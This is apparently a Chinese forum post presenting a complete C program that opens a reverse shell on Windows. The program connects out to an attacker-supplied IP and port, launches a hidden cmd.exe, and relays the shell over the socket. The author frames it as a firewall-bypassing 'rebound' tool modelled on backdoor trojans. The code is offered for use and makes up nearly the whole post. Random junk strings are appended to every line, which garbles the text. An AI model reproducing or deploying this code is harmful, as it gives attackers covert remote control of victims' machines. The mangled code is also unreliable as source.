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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e<{ d{  
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/* ============================== bJ 6ivz  
Rebound port in Windows NT 6&'kN 2  
By wind,2006/7 wXp:XZ:]T  
===============================*/ QsxvA;7%  
#include wmVb0~[  
#include Q[#8ErUY  
3f^jy(  
#pragma comment(lib,"wsock32.lib") *^g]QQ  
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void OutputShell(); stfniV  
SOCKET sClient; V&ETt.91Ft  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; u"oO._a(  
e(^I.`9z  
void main(int argc,char **argv) MC,Qv9m  
{ u/|@iWK:  
WSADATA stWsaData; b'SP,}s5"  
int nRet; Kv1~,j6  
SOCKADDR_IN stSaiClient,stSaiServer; /'.gZo  
;CS[Ja>e  
if(argc != 3) QGOkB  
{ EpRn,[  
printf("Useage:\n\rRebound DestIP DestPort\n"); QPLWRZu@  
return; hR0a5   
} ud)WH|Z  
Oprfp^L  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2brY\c F  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CeOA_M  
Go:(R {P  
stSaiClient.sin_family = AF_INET; !nJl.Y$  
stSaiClient.sin_port = htons(0); am3JzH  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #E=8kbD7  
i" u|119  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) i Pr(X  
{ VfJ{);   
printf("Bind Socket Failed!\n"); A9SL|9Q  
return; n2-+.9cY  
} ami>Pp  
3 SbZD   
stSaiServer.sin_family = AF_INET; 2+)h!y]  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mh[,E8'd  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `{K-eHlrM9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) !D{z. KO  
{ }m?Ut|  
printf("Connect Error!"); =ZU!i0 K  
return; W\Scak>  
} `Nvhp]E  
OutputShell(); BcpbS%S  
} GwDOxH'  
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void OutputShell() W!.FnM5x  
{ }oG6XI9  
char szBuff[1024]; iNi1+sm  
SECURITY_ATTRIBUTES stSecurityAttributes; LzLJ6A>;R  
OSVERSIONINFO stOsversionInfo; ]Z\W%'q+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; l}-k>fug  
STARTUPINFO stStartupInfo; ziO(`"v  
char *szShell; [cEGkz  
PROCESS_INFORMATION stProcessInformation; 9'~qA(=.?  
unsigned long lBytesRead; 8/)q$zs  
!F~1+V>zP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); bxxLAWQ(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); B[YyA  
stSecurityAttributes.lpSecurityDescriptor = 0; FdnLxw  
stSecurityAttributes.bInheritHandle = TRUE; [bo"!Qk%  
iKu3'jZ/O  
tFn[U#'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); =Oh$pZRymu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); nXfz@q  
Si~wig2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ljrJC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6=JJ!`"<2  
stStartupInfo.wShowWindow = SW_HIDE; S{2;PaK  
stStartupInfo.hStdInput = hReadPipe; u:(=gj,~x  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 0^J%&1aIc  
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GetVersionEx(&stOsversionInfo); a(O@E%|u  
<bCB-lG*Kb  
switch(stOsversionInfo.dwPlatformId) DH _~,tK9  
{ mM/#(Ghl  
case 1: 6.45^'t]  
szShell = "command.com"; <=%[.. (S  
break; uw8g%  
default: pcOi%D,o  
szShell = "cmd.exe"; AriV4 +  
break; Citumc)E  
} $X.F=Kv  
?XyrG1('  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); }lPWA/  
MU] F'6V  
send(sClient,szMsg,77,0); &e).l<B  
while(1) buzpmRoN)  
{ 'CqAjlj  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); k)F!gV#  
if(lBytesRead) r/ATZAgHP  
{ <)O#Y76s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q\!"FDOl4  
send(sClient,szBuff,lBytesRead,0); vFLE%z{\o  
} #LR6wEk  
else .*YOyK3H  
{ h \`(  
lBytesRead=recv(sClient,szBuff,1024,0); O\yYCi(  
if(lBytesRead<=0) break; UBQtD|m\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); MMaS  
} Ux" ^3D  
} CP"5E?dcK  
GpXf).a@  
return;  r?0w5I  
}
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